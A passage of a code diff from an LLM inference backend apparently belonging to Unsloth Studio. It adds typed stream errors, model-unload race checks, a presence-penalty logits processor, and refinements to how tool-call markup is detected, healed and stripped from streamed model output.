                     use_adapter = use_adapter,
                     **common_kwargs,
                 )
             else:
-                yield from self.generate_chat_response(**common_kwargs)
+                stream = self.generate_chat_response(**common_kwargs)
+            close_stream = False
+            try:
+                for chunk in stream:
+                    if isinstance(chunk, GenStreamError):
+                        close_stream = True
+                        raise GenStreamErrorRaised(str(chunk), public = chunk.public)
+                    yield chunk
+            finally:
+                if close_stream:
+                    close = getattr(stream, "close", None)
+                    if callable(close):
+                        try:
+                            close()
+                        except Exception:
+                            logger.debug("failed to close errored generation stream", exc_info = True)
 
         initial = list(messages)
         if system_prompt:
@@ -1007,12 +1482,16 @@ class InferenceOrchestrator:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
+            thread_id = thread_id,
             rag_scope = rag_scope,
             confirm_tool_calls = confirm_tool_calls,
             bypass_permissions = bypass_permissions,
+            permission_mode = permission_mode,
+            reasoning_prefilled = reasoning_prefilled,
         )
 
     def generate_with_adapter_control(
@@ -1026,14 +1505,27 @@ class InferenceOrchestrator:
 
         Uses the dispatcher path (no _gen_lock) so compare-mode requests
         don't block each other; the subprocess serializes them via its
-        sequential command loop.
+        sequential command loop. Backend failures raise instead of becoming
+        assistant text.
         """
-        yield from self._generate_dispatched(
+        stream = self._generate_dispatched(
             use_adapter = use_adapter,
             cancel_event = cancel_event,
             stats_holder = stats_holder,
             **gen_kwargs,
         )
+        try:
+            for chunk in stream:
+                if isinstance(chunk, GenStreamError):
+                    # Preserve the public/operational flag so the route can surface
+                    # the real message (e.g. "model is being unloaded") instead of a
+                    # generic error. Mirrors the safetensors tool loop's _single_turn.
+                    raise GenStreamErrorRaised(str(chunk), public = chunk.public)
+                yield chunk
+        finally:
+            close = getattr(stream, "close", None)
+            if callable(close):
+                close()
 
     def _generate_inner(
         self,
@@ -1053,6 +1545,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic — sends command to subprocess, yields tokens.
 
@@ -1060,12 +1553,13 @@ class InferenceOrchestrator:
         readers don't consume each other's tokens off the shared resp_queue.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
             return
+        expected_model = self.active_model_name
 
         # Drain any prior compare-mode dispatcher so we can read resp_queue.
         self._wait_dispatcher_idle()
@@ -1074,6 +1568,14 @@ class InferenceOrchestrator:
         # consume and drop each other's token events. Hold _gen_lock across the
         # cmd build + send + whole stream so we stay the sole resp_queue reader.
         with self._gen_lock:
+            # Recheck under the lock: an unload we raced may have cleared/swapped the model.
+            # _unload_pending resets after the lock releases, so it can read False by now;
+            # the active-model check catches that handoff and a reload that swapped models,
+            # so we never generate on the wrong one.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield GenStreamError("Error: model is being unloaded", public = True)
+                return
             request_id = str(uuid.uuid4())
             image_b64 = self._pil_to_base64(image) if image is not None else None
             cmd = self._build_generate_cmd(
@@ -1087,6 +1589,7 @@ class InferenceOrchestrator:
                 min_p = min_p,
                 max_new_tokens = max_new_tokens,
                 repetition_penalty = repetition_penalty,
+                presence_penalty = presence_penalty,
                 use_adapter = use_adapter,
                 tools = tools,
                 enable_thinking = enable_thinking,
@@ -1097,7 +1600,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
@@ -1141,53 +1644,62 @@ class InferenceOrchestrator:
             raise RuntimeError("Inference subprocess is not running")
         if not self.active_model_name:
             raise RuntimeError("No active model")
+        expected_model = self.active_model_name
 
-        request_id = str(uuid.uuid4())
+        # Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the
+        # outgoing model once an unload is pending, like the text and audio-input paths.
+        # Without this a concurrent /audio/generate could run TTS on a model being switched.
+        with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                raise RuntimeError("model is being unloaded")
 
-        cmd = {
-            "type": "generate_audio",
-            "request_id": request_id,
-            "text": text,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
+            request_id = str(uuid.uuid4())
 
-        self._send_cmd(cmd)
+            cmd = {
+                "type": "generate_audio",
+                "request_id": request_id,
+                "text": text,
+                "temperature": temperature,
+                "top_p": top_p,
+                "top_k": top_k,
+                "min_p": min_p,
+                "max_new_tokens": max_new_tokens,
+                "repetition_penalty": repetition_penalty,
+            }
+            if use_adapter is not None:
+                cmd["use_adapter"] = use_adapter
 
-        # Wait for audio_done or audio_error
-        deadline = time.monotonic() + 120.0
-        while time.monotonic() < deadline:
-            remaining = max(0.1, deadline - time.monotonic())
-            resp = self._read_resp(timeout = min(remaining, 1.0))
+            self._send_cmd(cmd)
 
-            if resp is None:
-                if not self._ensure_subprocess_alive():
-                    raise RuntimeError(self._subprocess_crash_message("audio generation"))
-                continue
+            deadline = time.monotonic() + 120.0
+            while time.monotonic() < deadline:
+                remaining = max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
 
-            rtype = resp.get("type", "")
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("audio generation"))
+                    continue
 
-            if rtype == "audio_done":
-                wav_bytes = base64.b64decode(resp["wav_base64"])
-                sample_rate = resp["sample_rate"]
-                return wav_bytes, sample_rate
+                rtype = resp.get("type", "")
 
-            if rtype == "audio_error":
-                raise RuntimeError(resp.get("error", "Audio generation failed"))
+                if rtype == "audio_done":
+                    wav_bytes = base64.b64decode(resp["wav_base64"])
+                    sample_rate = resp["sample_rate"]
+                    return wav_bytes, sample_rate
 
-            if rtype == "error":
-                raise RuntimeError(resp.get("error", "Unknown error"))
+                if rtype == "audio_error":
+                    raise RuntimeError(resp.get("error", "Audio generation failed"))
 
-            if rtype == "status":
-                continue
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Unknown error"))
 
-        raise RuntimeError("Timeout waiting for audio generation (120s)")
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for audio generation (120s)")
 
     def generate_whisper_response(
         self,
@@ -1247,13 +1759,20 @@ class InferenceOrchestrator:
     ) -> Generator[str, None, None]:
         """Shared inner logic for audio input generation (Whisper + ASR)."""
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
             return
+        expected_model = self.active_model_name
 
         with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield GenStreamError("Error: model is being unloaded", public = True)
+                return
             request_id = str(uuid.uuid4())
 
             # numpy array -> list for mp.Queue serialization
@@ -1279,7 +1798,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
index c73134b4a2..e6da0a22b0 100644
--- a/studio/backend/core/inference/passthrough_healing.py
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -5,7 +5,7 @@
 
 With server-side tools disabled (``unsloth run --disable-tools``, every
 ``unsloth start`` coding agent), requests carrying the client's own ``tools``
-bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
+bypass Unsloth's tool loop and are relayed to/from llama-server verbatim. Small
 GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
 Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
 ``tool_calls`` -- on the passthrough that text reaches the agent as prose and
@@ -18,7 +18,7 @@ promotes calls whose function name exactly matches a declared tool. Promotion
 removes EXACTLY the promoted calls' markup spans (the parser reports them):
 undeclared calls, unparseable blocks, and suppressed alternate formats keep
 every byte and relay as text, so healing can never silently delete model
-output. Responses without a tool signal, requests without tools, and Studio's
+output. Responses without a tool signal, requests without tools, and Unsloth's
 own enable-tools loop are untouched. Per-request opt-out:
 ``auto_heal_tool_calls: false``. Process kill-switch:
 ``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
@@ -29,10 +29,28 @@ import os
 from collections.abc import Mapping
 from typing import Any, Optional
 
-from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal
 from core.inference.tool_loop_controller import coerce_tool_arguments
 from core.tool_healing import parse_tool_calls_from_text
 
+# Only the formats this healer's parser can promote -- narrower than the loops'
+# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare
+# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a
+# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in.
+_HEAL_SIGNALS = (
+    "<tool_call>",
+    "<|tool_call>",
+    "<function=",
+    "[TOOL_CALLS]",
+    # TML Inkling native call marker (leaks as text when the server-side
+    # parser misses a narration-then-call turn).
+    "<|content_invoke_tool_json|>",
+)
+
+
+def _has_heal_signal(text: str) -> bool:
+    return any(s in text for s in _HEAL_SIGNALS)
+
+
 # Read once at import (same convention as the other UNSLOTH_* switches).
 _HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
 # Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
@@ -44,7 +62,7 @@ def nudge_enabled(request_flag: Optional[bool]) -> bool:
     return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
 
 
-_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS)
+_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS)
 # A suspected-but-unclosed tool block larger than this is declared a false
 # alarm and flushed, bounding memory on a model rambling XML-lookalike text.
 _MAX_HOLD_CHARS = 64 * 1024
@@ -198,7 +216,7 @@ def heal_openai_message_events(
     if not isinstance(msg, dict) or msg.get("tool_calls"):
         return None
     content = msg.get("content")
-    if not isinstance(content, str) or not has_tool_signal(content):
+    if not isinstance(content, str) or not _has_heal_signal(content):
         return None
     parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
     tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
@@ -248,7 +266,7 @@ def heal_openai_message(
 
 def _earliest_signal(buffer: str) -> int:
     best = -1
-    for signal in TOOL_XML_SIGNALS:
+    for signal in _HEAL_SIGNALS:
         index = buffer.find(signal)
         if index >= 0 and (best < 0 or index < best):
             best = index
@@ -275,7 +293,7 @@ def _partial_signal_suffix(buffer: str) -> int:
     """Length of the longest buffer suffix that is a proper prefix of a signal."""
     for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
         tail = buffer[-length:]
-        if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS):
+        if any(signal.startswith(tail) for signal in _HEAL_SIGNALS):
             return length
     return 0
 
@@ -340,9 +358,10 @@ class StreamToolCallHealer:
                         events.append(("text", emit))
                     self._buffer = self._buffer[len(self._buffer) - keep :]
                     return events
-            # HOLD: handle the FIRST complete block per pass so events keep
-            # document order (a later declared call must not overtake an
-            # earlier undeclared one flushing as text).
+            # HOLD: drain the first contiguous run per pass so events keep document
+            # order (a later declared call must not overtake an earlier undeclared one
+            # flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS]
+            # array of contiguous spans, so later calls in it are not stranded as text.
             parsed, spans = parse_tool_calls_from_text(
                 self._buffer,
                 id_offset = self._id_offset,
@@ -363,26 +382,32 @@ class StreamToolCallHealer:
                     self._holding = False
                     continue
                 return events
-            start, end = spans[0]
-            promoted = _promote(
-                [parsed[0]],
-                self._allowed,
-                id_offset = self._id_offset,
-                tool_schemas = self._tool_schemas,
-            )
-            if promoted:
-                if start:
-                    events.append(("text", self._buffer[:start]))
-                events.append(("tool_call", promoted[0]))
-                self._id_offset += 1
-                # Drop exactly the promoted markup span; everything else
-                # (leading text, later blocks) stays and is rescanned.
-                self._buffer = self._buffer[end:]
-            else:
-                # Undeclared or unusable name: its markup is DATA, flush it
-                # (and anything before it) verbatim, then rescan the rest.
-                events.append(("text", self._buffer[:end]))
-                self._buffer = self._buffer[end:]
+            pos = 0
+            run_end = spans[0][1]
+            for order, (call, (start, end)) in enumerate(zip(parsed, spans)):
+                # Stop at the first gap or incomplete trailing block: leave it for the
+                # next pass to re-hold and stream incrementally, not flush as text early.
+                if order and start != run_end:
+                    break
+                promoted = _promote(
+                    [call],
+                    self._allowed,
+                    id_offset = self._id_offset,
+                    tool_schemas = self._tool_schemas,
+                )
+                if promoted:
+                    # Flush any leading text, then drop the promoted markup span.
+                    if self._buffer[pos:start]:
+                        events.append(("text", self._buffer[pos:start]))
+                    events.append(("tool_call", promoted[0]))
+                    self._id_offset += 1
+                else:
+                    # Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim.
+                    events.append(("text", self._buffer[pos:end]))
+                pos = end
+                run_end = end
+            # Everything past the drained run (later blocks) stays and is rescanned.
+            self._buffer = self._buffer[run_end:]
             self._holding = False
 
     def finalize(self) -> list:
@@ -508,7 +533,7 @@ def nudge_should_retry(
     if not message or message.get("tool_calls"):
         return False
     text = message.get("content")
-    if not isinstance(text, str) or not has_tool_signal(text):
+    if not isinstance(text, str) or not _has_heal_signal(text):
         return False
     return not _heal_would_promote(text, allowed_tools, tools)
 
diff --git a/studio/backend/core/inference/presence_penalty.py b/studio/backend/core/inference/presence_penalty.py
new file mode 100644
index 0000000000..c73c513887
--- /dev/null
+++ b/studio/backend/core/inference/presence_penalty.py
@@ -0,0 +1,49 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Presence-penalty logits helpers for the safetensors/MLX inference paths.
+
+Kept in a dependency-light leaf module (torch + transformers only, no unsloth /
+peft) so the pure logic can be imported and unit-tested without pulling in the
+full inference backend. ``core.inference.inference`` re-exports these for the
+runtime generate paths.
+"""
+
+import torch
+
+
+def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int):
+    """OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct
+    completion token (positions >= prompt_len; prompt excluded, multiplicity
+    ignored, negatives raise). In place; zero is a no-op."""
+    if not penalty:
+        return scores
+    vocab_size = scores.shape[-1]
+    for b in range(input_ids.shape[0]):
+        generated = input_ids[b, prompt_len:]
+        if generated.numel() == 0:
+            continue
+        seen = torch.unique(generated)
+        # Bound generated ids to the valid range [0, vocab_size). Real completion
+        # tokens are always in range, so this is a zero-regression safety net that
+        # drops any stray out-of-range or negative id before indexing (mirrors the
+        # MLX path's bound). Filtering both ends avoids indexing scores with a
+        # negative id (which would silently wrap to the wrong row).
+        seen = seen[(seen >= 0) & (seen < vocab_size)]
+        if seen.numel():
+            scores[b, seen] = scores[b, seen] - penalty
+    return scores
+
+
+def _make_presence_penalty_processor(penalty: float, prompt_len: int):
+    """``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical)."""
+    if not penalty:
+        return None
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _PresencePenaltyLogitsProcessor(LogitsProcessor):
+        @torch.no_grad()
+        def __call__(self, input_ids, scores):
+            return apply_presence_penalty(input_ids, scores, penalty, prompt_len)
+
+    return LogitsProcessorList([_PresencePenaltyLogitsProcessor()])
diff --git a/studio/backend/core/inference/pricing.py b/studio/backend/core/inference/pricing.py
index 3b611d3596..30fec47723 100644
--- a/studio/backend/core/inference/pricing.py
+++ b/studio/backend/core/inference/pricing.py
@@ -122,12 +122,12 @@ def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str
         "priced": bool(prices),
     }
 
-    # Accept raw (input_tokens/output_tokens) and Studio chat-style
+    # Accept raw (input_tokens/output_tokens) and Unsloth chat-style
     # (prompt_tokens/completion_tokens) envelopes. Cache buckets differ:
     #   raw Anthropic:    input_tokens EXCLUDES cache buckets
     #   raw OpenAI:       input_tokens INCLUDES cache_read
-    #   Studio Anthropic: prompt_tokens INCLUDES cache_creation + cache_read
-    #   Studio OpenAI:    prompt_tokens == raw input_tokens
+    #   Unsloth Anthropic: prompt_tokens INCLUDES cache_creation + cache_read
+    #   Unsloth OpenAI:    prompt_tokens == raw input_tokens
     # Clamp >=0 so corrupted payloads can't produce a negative bill.
     cache_creation = max(0, int(usage.get("cache_creation_input_tokens") or 0))
     cache_read_native_present = (
@@ -160,7 +160,7 @@ def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str
         output_tokens = max(0, int(usage.get("completion_tokens") or 0))
     if provider == "openai":
         # Cached tokens land on input_tokens_details (raw Responses) or
-        # prompt_tokens_details (Studio chat-style).
+        # prompt_tokens_details (Unsloth chat-style).
         for key in ("input_tokens_details", "prompt_tokens_details"):
             details = usage.get(key) or {}
             if isinstance(details, dict):
diff --git a/studio/backend/core/inference/providers.py b/studio/backend/core/inference/providers.py
index 5b72373c03..d3bffc2f3d 100644
--- a/studio/backend/core/inference/providers.py
+++ b/studio/backend/core/inference/providers.py
@@ -276,8 +276,9 @@ PROVIDER_REGISTRY: dict[str, dict[str, Any]] = {
         "auth_header": "Authorization",
         "auth_prefix": "Bearer ",
         "notes": (
-            "Local Ollama server. OpenAI-compatible /v1/chat/completions; "
-            "no API key. Surfaced via CUSTOM_PROVIDER_PRESETS in the frontend."
+            "Ollama server (local or cloud). OpenAI-compatible "
+            "/v1/chat/completions; API key optional (required by Ollama "
+            "cloud). Surfaced via CUSTOM_PROVIDER_PRESETS in the frontend."
         ),
         "hidden": True,
     },
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 0c96378d6c..40731de57b 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -14,6 +14,8 @@ parses tool calls from the cumulative text and dispatches via
 ``core.inference.tools``.
 """
 
+import bisect
+import inspect
 import re
 import threading
 from typing import Callable, Generator, Optional
@@ -21,20 +23,47 @@ from typing import Callable, Generator, Optional
 from loggers import get_logger
 
 from core.inference.tool_call_parser import (
-    _TOOL_ALL_PATS,
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
+    MAX_ACT_REPROMPTS,
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
     TOOL_XML_SIGNALS,
+    is_short_intent_without_action,
     parse_tool_calls_from_text,
+    reprompt_to_act_message,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
     strip_tool_markup,
 )
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the safetensors streaming strip stays aligned with the parser.
+from core.tool_healing import (
+    _REHEARSAL_TAIL_STRIP_RE,
+    _THINK_CLOSE_RE,
+    _strip_bracket_tag_calls,
+    _think_spans_outside_tool_markup,
+    apply_tool_strip_patterns,
+    strip_outside_think,
+)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     coerce_tool_arguments,
     status_for_tool,
     tool_event_provenance,
 )
+from core.inference.tool_stream_exec import stream_tool_execution
 from state.tool_approvals import (
     TOOL_REJECTED_MESSAGE,
     abort_tool_decision,
@@ -50,19 +79,213 @@ logger = get_logger(__name__)
 # Buffer cap while disambiguating a possible tool-call prefix.
 _MAX_BUFFER_CHARS = 32
 
+# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
+_MAX_BARE_JSON_BUFFER = 16384
+
+
+# No grammar constraint here (unlike llama-server's lazy grammar): collapse
+# exact-duplicate calls and cap the count so a runaway turn cannot fan out.
+_MAX_TOOL_CALLS_PER_TURN = 8
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal;
+# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held.
+_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?")
+
+
+def _is_rehearsal_prefix(
+    stripped: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]``
+    rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space
+    means prose. Unrestricted mode accepts any identifier; else NAME must be active."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    if unrestricted:
+        return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None
+    for name in _active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(
+    text: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return (
+        len(tail)
+        if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted)
+        else 0
+    )
+
+
+def _rehearsal_name_start(
+    candidate: str,
+    signal_pos: int,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding
+    bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the
+    signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode)."""
+    if not candidate.startswith("[ARGS]", signal_pos):
+        return signal_pos
+    j = signal_pos
+    while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"):
+        j -= 1
+    if j < signal_pos and (
+        unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools)
+    ):
+        return j
+    return signal_pos
+
+
+def _earliest_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Index where the turn's first genuine tool-call boundary begins, or -1.
+
+    Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal
+    only when an active tool name (any name in unrestricted mode) precedes it, so a
+    literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a
+    real ``NAME[ARGS]`` the boundary is pulled back to NAME."""
+    best = -1
+    for sig in signals:
+        if sig != "[ARGS]":
+            p = candidate.find(sig)
+            if p >= 0 and (best < 0 or p < best):
+                best = p
+            continue
+        from_idx = 0
+        while True:
+            p = candidate.find("[ARGS]", from_idx)
+            if p < 0:
+                break
+            name_start = _rehearsal_name_start(
+                candidate, p, active_tools, unrestricted = unrestricted
+            )
+            if name_start < p:
+                # Genuine ``NAME[ARGS]``: the boundary is the start of NAME.
+                if best < 0 or name_start < best:
+                    best = name_start
+                break
+            # Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found.
+            from_idx = p + len("[ARGS]")
+    return best
+
+
+def _has_genuine_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only
+    when an active tool name (any in unrestricted mode) precedes it. Mirrors the
+    ``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not
+    drain inactive-name prose."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if (
+                _earliest_tool_signal(
+                    candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted
+                )
+                >= 0
+            ):
+                return True
+            continue
+        if sig in candidate:
+            return True
+    return False
+
 
 def strip_tool_markup_streaming(
     text: str,
     *,
     auto_heal_tool_calls: bool = True,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
-    """Strip open-ended tool XML from display text without trimming whitespace."""
+    """Strip open-ended tool XML from display text without trimming whitespace.
+
+    Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so
+    streaming and final display agree: balanced strips first (nested JSON removed whole),
+    then the guarded function-XML / GLM scans that close at each call's REAL terminator so
+    literal markup inside argument values is data and trailing prose survives. Reasoning
+    ``<think>`` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must
+    not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names``
+    keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose,
+    not a call), matching the parse / detection active-tool gate."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    for pat in _TOOL_ALL_PATS:
-        text = pat.sub("", text)
-    return text
+
+    # Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the
+    # ``<think>`` channel) so raw reasoning does not leak into streamed display; an unclosed
+    # leading block is held (dropped to EOF) until its closer streams in.
+    text = _strip_mistral_reasoning(text)
+
+    def _seg(segment: str, is_last: bool) -> str:
+        # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+        # strips first, then the guarded function-XML / GLM scans, then the regex arms
+        # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+        # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal strips are name-gated.
+        seg = _strip_mistral_closed_calls(segment)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        seg = _strip_glm_calls(seg, final = is_last)
+        pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if is_last:
+            seg = apply_tool_strip_patterns(
+                seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names
+            )
+        return seg
+
+    # Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then
+    # regrows the cumulative text, corrupting append-by-length consumers.
+    return strip_outside_think(text, _seg)
 
 
 def _strip_tool_markup_final(
@@ -70,10 +293,11 @@ def _strip_tool_markup_final(
     *,
     auto_heal_tool_calls: bool,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    return strip_tool_markup(text, final = True)
+    return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names)
 
 
 def _status_for_tool(tool_name: str, arguments: dict) -> str:
@@ -81,25 +305,115 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str:
     return status_for_tool(tool_name, arguments)
 
 
+def _reprompt_intent_text(text: str, *, reasoning_prefilled: bool = False) -> str:
+    """Return visible answer text for the plan-without-action classifier.
+
+    Safetensors reasoning shares the cumulative text channel with the answer.
+    Forward-looking phrases inside ``<think>`` / ``[THINK]`` are private
+    planning, not a user-visible promise to call a tool. Match GGUF's behavior:
+    classify visible content when present and fall back to reasoning only for a
+    reasoning-only stall.
+    """
+    prefilled_reasoning = ""
+    if reasoning_prefilled:
+        close = _THINK_CLOSE_RE.search(text)
+        if close is None:
+            return text.strip()
+        prefilled_reasoning = text[: close.end()].strip()
+        text = text[close.end() :].strip()
+        if not text:
+            return prefilled_reasoning
+
+    spans = _think_spans_outside_tool_markup(text)
+    if not spans:
+        return text.strip()
+
+    visible: list[str] = []
+    reasoning: list[str] = []
+    cursor = 0
+    for start, end in spans:
+        visible.append(text[cursor:start])
+        reasoning.append(text[start:end])
+        cursor = end
+    visible.append(text[cursor:])
+
+    visible_text = "".join(visible).strip()
+    reasoning_text = "".join(reasoning).strip()
+    if visible_text:
+        return visible_text
+    return "\n".join(part for part in (prefilled_reasoning, reasoning_text) if part).strip()
+
+
+def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool:
